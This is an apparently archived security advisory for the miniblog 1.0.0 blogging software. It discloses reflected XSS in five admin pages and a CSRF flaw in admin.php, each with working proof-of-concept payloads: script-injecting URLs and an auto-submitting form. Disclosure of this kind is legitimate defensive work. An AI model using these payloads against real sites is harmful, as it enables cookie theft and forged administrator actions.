[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB23008: Multiple XSS & CSRF (Cross-Site Request Forgery) in miniblog



Vulnerability ID: HTB23008
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_miniblog.html
Product: miniblog
Vendor: spyka Web Group ( http://www.spyka.net ) 
Vulnerable Version: 1.0.0 and probably prior
Tested on: 1.0.0
Vendor Notification: 25 May 2011 
Vulnerability Type: XSS (Cross Site Scripting) , CSRF (Cross-Site Request 
Forgery)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( 
http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple 
vulnerabilities in miniblog, which can be exploited to perform cross-site 
scripting & cross-site request forgery attacks.

1) Input passed via the GET "post_list" parameter to /adm/list.php is not 
properly sanitised before being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available:

http://[host]/adm/list.php?post_list=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" 
is enabled.

2) Input passed via the GET "error_text" parameter to /adm/login.php is not 
properly sanitised before being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available

http://[host]/adm/login.php?error_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" 
is enabled.

3) Input passed via the GET "response_text" parameter to /adm/options.php is 
not properly sanitised before being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available

http://[host]/adm/options.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" 
is enabled.

4) Input passed via the GET "response_text" parameter to /adm/password.php is 
not properly sanitised before being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's 
browser session in context of affected website.

The following PoC code is available

http://[host]/adm/password.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" 
is enabled.

5) Input passed via the GET "response_text" and GET "mode" parameters to 
/adm/edit.php is not properly sanitised before being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a 
user'sbrowser session in context of affected website.

The following PoC code is available

http://[host]/adm/edit.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/adm/edit.php?mode=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" 
is enabled.

6) The application allows users to perform certain actions via HTTP requests 
without making proper validity checks to verify the requests. 
This can be exploited to e.g. add new post to the application or conduct script 
insertion attacks by tricking an administrator into visiting a malicious web 
site while being logged-in to the application.

The following PoC code is available:


<form action="http://[host]/adm/admin.php?mode=add&id="; method="post">
<input type="hidden" name="data[post_title]" value="csrf">
<input type="hidden" name="data[post_content]" value="csrf">
<input type="hidden" name="data[published]" value="1">
<input type="hidden" name="miniblog_PostBack" value="Add">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>